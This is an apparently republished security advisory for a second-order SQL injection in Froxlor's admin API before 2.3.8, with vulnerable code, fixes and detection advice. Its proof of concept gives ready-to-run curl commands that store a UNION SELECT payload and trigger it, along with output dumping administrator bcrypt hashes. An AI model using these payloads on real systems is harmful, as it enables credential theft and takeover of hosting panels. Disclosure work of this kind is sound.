GHSA-w27m-rmmf-g5w4: SQL Injection

Published Aug 18, 2026
·
Updated

Summary

A second-order SQL injection vulnerability in Froxlor's admin API allows an authenticated administrator to store a crafted SQL payload in the paneladmins.ip column via the Admins.add or Admins.update endpoint. The payload executes as a UNION-based SQL injection the next time IpsAndPorts.listing is called by the poisoned account, returning arbitrary data from the database — including all administrator login names and bcrypt password hashes.

---

Details

The vulnerability spans two code locations that form a store-then-trigger chain.

Stage 1 — Unsanitized array stored as JSON — lib/Froxlor/Api/Commands/Admins.php:251,358

php $ipaddress = $this->getParam('ipaddress', true, -1); // No type enforcement or content validation on $ipaddress. // PHP evaluates (isarray([...]) && nonemptyarray > 0) as true, // so any attacker-controlled array is JSON-encoded and stored verbatim. 'ip' => empty($ipaddress) ? "" : (isarray($ipaddress) && $ipaddress > 0 ? jsonencode($ipaddress) // ← attacker payload written to paneladmins.ip : -1),

The INSERT/UPDATE uses a prepared statement, so the write itself is safe. The danger is what is stored.

Stage 2 — JSON payload imploded directly into SQL — lib/Froxlor/Api/Commands/IpsAndPorts.php:71-77

php if (!empty($this->getUserDetail('ip')) && $this->getUserDetail('ip') != -1) { // jsondecode restores the array; implode joins elements with no casting or escaping $ipwhere = "WHERE id IN (" . implode(", ", jsondecode($this->getUserDetail('ip'), true)) . ")"; } $resultstmt = Database::prepare( "SELECT FROM panelipsandports " . $ipwhere . ... ); // Final SQL: SELECT FROM panelipsandports WHERE id IN (<PAYLOAD>)

The same unsanitized implode pattern exists in lib/Froxlor/Api/Commands/Domains.php:1016.

Every other place in the codebase that builds dynamic IN clauses uses either integer casting ((int)) or parameterized subqueries. The ip-column path is the sole exception.

---

PoC <img width="2452" height="1476" alt="image" src="https://github.com/user-attachments/assets/2cbff4f8-b316-4a86-95ce-71f5c14d0c95" />

Prerequisites: Valid Froxlor admin API key with changeserversettings = 1.

Step 1 — Poison: store the UNION SELECT payload via Admins.add

bash curl -s -u "APIKEY:SECRET" http://TARGET/api.php \ -H "Content-Type: application/json" \ -d '{ "command": "Admins.add", "params": { "name": "x", "newloginname": "eviladmin", "email": "x@x.local", "adminpassword": "Passw0rd!123", "ipaddress": ["1) UNION SELECT 1,loginname,password,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 FROM paneladmins-- -"] } }'

The ip column of paneladmins for eviladmin now contains: ["1) UNION SELECT 1,loginname,password,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 FROM paneladmins-- -"]

Step 2 — Trigger: call IpsAndPorts.listing as the poisoned account

No interaction beyond a single API call. Visiting the following URL while authenticated as eviladmin is sufficient:

http://TARGET/adminindex.php?page=ipsandports

Or directly via API:

bash curl -s -u "EVILAPIKEY:EVILSECRET" http://TARGET/api.php \ -H "Content-Type: application/json" \ -d '{"command":"IpsAndPorts.listing"}'

Confirmed output from live instance (localhost:8290):

json { "data": { "list": [ { "ip": "admin", "port": "$2y$10$uaI/7ZBJtKCSo7CXfNKQuuFXOkJTP/qLhbxLe4yIVSyB90i7i1heu" }, { "ip": "eviladmin", "port": "$2y$10$KKTbNdFRlsmnYacZOAgRJuRdJy2HOSHqtZW1eSdVw8pWa9xT9wx5S" } ] } }

The ip field returns loginname and port returns the bcrypt password hash of every administrator in the database.

Minimum reproduction — two CMD single-line commands:

Step 1: poison (run once with any admin API key that has changeserversettings=1):

cmd curl -su "APIKEY:SECRET" http://TARGET/api.php -H "Content-Type:application/json" -d "{\"command\":\"Admins.add\",\"params\":{\"name\":\"x\",\"newloginname\":\"poc\",\"email\":\"x@x.local\",\"adminpassword\":\"Passw0rd!1\",\"ipaddress\":[\"1) UNION SELECT 1,loginname,password,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 FROM paneladmins-- -\"]}}"

Step 2: trigger (run with the poisoned account's API key — visiting the page in a browser also suffices):

cmd curl -su "POCAPIKEY:POCSECRET" http://TARGET/api.php -H "Content-Type:application/json" -d "{\"command\":\"IpsAndPorts.listing\"}"

Confirmed output from live instance (localhost:8290) — step 2 alone:

cmd curl -su "evilkeyabc123:evilsecretxyz456" http://localhost:8290/api.php -H "Content-Type:application/json" -d "{\"command\":\"IpsAndPorts.listing\"}"

json { "data": { "list": [ { "ip": "admin", "port": "$2y$10$uaI/7ZBJtKCSo7CXfNKQuuFXOkJTP/qLhbxLe4yIVSyB90i7i1heu" }, { "ip": "eviladmin", "port": "$2y$10$KKTbNdFRlsmnYacZOAgRJuRdJy2HOSHqtZW1eSdVw8pWa9xT9wx5S" } ] } }

---

Impact

Type: Second-Order SQL Injection (UNION-based)

Who is impacted: Any Froxlor installation with the API enabled and at least one admin account that has changeserversettings = 1. The attack requires an authenticated admin API key, making it relevant in multi-admin deployments (hosting providers with reseller admins) where one admin may be malicious or compromised.

Consequences:

- Full credential dump — all admin and customer login names and bcrypt password hashes are extractable in a single request. - Lateral movement — cracked hashes allow login to other admin accounts or customer accounts. - Data exfiltration — the UNION SELECT can target any table in the database: customer data, email accounts, domain configurations, API keys. - Privilege escalation — a reseller admin (limited permissions) can extract the super-admin's credentials and gain full control of the panel.

---

Fix

Option A (recommended) — Integer-cast all elements before implode:

php // lib/Froxlor/Api/Commands/IpsAndPorts.php:72 $ipids = arraymap('intval', jsondecode($this->getUserDetail('ip'), true)); $ipwhere = "WHERE id IN (" . implode(", ", $ipids) . ")";

Option B — Validate at storage time in Admins.add / Admins.update:

php // lib/Froxlor/Api/Commands/Admins.php if (isarray($ipaddress)) { $ipaddress = arrayfilter($ipaddress, 'isnumeric'); } 'ip' => empty($ipaddress) ? "" : (isarray($ipaddress) && count($ipaddress) > 0 ? jsonencode(arraymap('intval', $ipaddress)) : -1),

Apply the same fix to the identical pattern in Domains.php:1016.

---

Affected Software

1 affected componentFixes available
composer/froxlor/froxlor<2.3.8
2.3.8

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade composer/froxlor/froxlor to a version that resolves this vulnerability.

    Fixed in 2.3.8

Event History

Aug 18, 2026
Advisory Published
via GitHub·08:47 PM
Data Sourced
via GitHub·08:47 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

What level of access does an attacker need?

Exploitation requires an authenticated administrator account with access to the Admins.add or Admins.update API endpoints. The attacker must then cause IpsAndPorts.listing to be called by the account whose panel_admins.ip value was poisoned.

2

What application actions are involved in exploitation?

The vulnerable behavior is reached when an administrator supplies a crafted array as the ipaddress parameter to Admins.add or Admins.update. The stored payload is later used in a UNION-based SQL injection when IpsAndPorts.listing is invoked.

3

What data could an attacker obtain?

Successful exploitation can return arbitrary database data, including administrator login names and bcrypt password hashes. The described impact affects confidentiality, integrity, and availability.

4

How can I check for signs of exploitation?

Review panel_admins.ip values for unexpected JSON arrays or SQL-like content, particularly for administrator accounts that used the Admins.add or Admins.update API. Also investigate calls to IpsAndPorts.listing made by accounts associated with suspicious stored IP data.

5

What can be done if patching is not immediately possible?

The references include a Froxlor 2.3.8 release and the remediation commit a1eaca5a1601c8a30e00814a4fc73ad0c185f89e. Until remediation is applied, restrict access to the affected administrator API endpoints and prevent untrusted administrators from submitting array-valued ipaddress input.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203